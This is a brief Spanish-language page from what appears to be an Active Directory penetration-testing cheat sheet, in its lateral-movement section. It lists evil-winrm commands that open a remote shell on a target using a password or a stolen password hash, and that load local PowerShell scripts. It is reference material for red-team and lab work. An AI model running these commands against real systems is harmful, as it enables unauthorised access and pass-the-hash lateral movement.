> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/windows-remote-management-winrm.md).

# Windows Remote Management (WinRM)

## Evil-WinRM

```shell
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -p <password>
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -H <hash>
evil-winrm -i <target> -u "<ACME.LOCAL>\<user>" -p <password> -s <path>
```

* \<target> = dirección IP del objetivo.
* \<user> = nombre de usuario.
* \<password> = contraseña de usuario.
* \<hash> = hash de la contraseña del usuario.
* -s = ruta local (máquina atacante) de scripts de PowerShell.